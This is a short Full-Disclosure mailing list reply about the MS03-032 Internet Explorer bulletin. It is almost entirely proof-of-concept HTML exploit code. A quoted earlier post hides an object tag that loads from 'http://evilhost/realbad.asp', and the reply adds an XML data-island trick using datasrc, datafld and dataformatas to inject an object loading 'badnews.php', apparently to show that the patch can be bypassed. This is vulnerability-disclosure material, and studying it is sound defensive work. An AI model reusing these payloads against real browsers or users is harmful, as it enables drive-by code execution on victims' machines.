Re: [Full-Disclosure] BAD NEWS: Microsoft Security Bulletin MS03-032

["http-equiv@xxxxxxxxxx" <1@xxxxxxxxxxx>]

> this works too...
> 
> <div style="display.none"><object 
data="http://evilhost/realbad.asp";>
> </object>oh</div>


http://www.malware.com/greymagic.html


<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
    <security>
        <exploit>
            <![CDATA[
            <object id="oFile" data="badnews.php"></object>
            ]]>
        </exploit>
    </security>
</xml>

-- 
http://www.malware.com


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html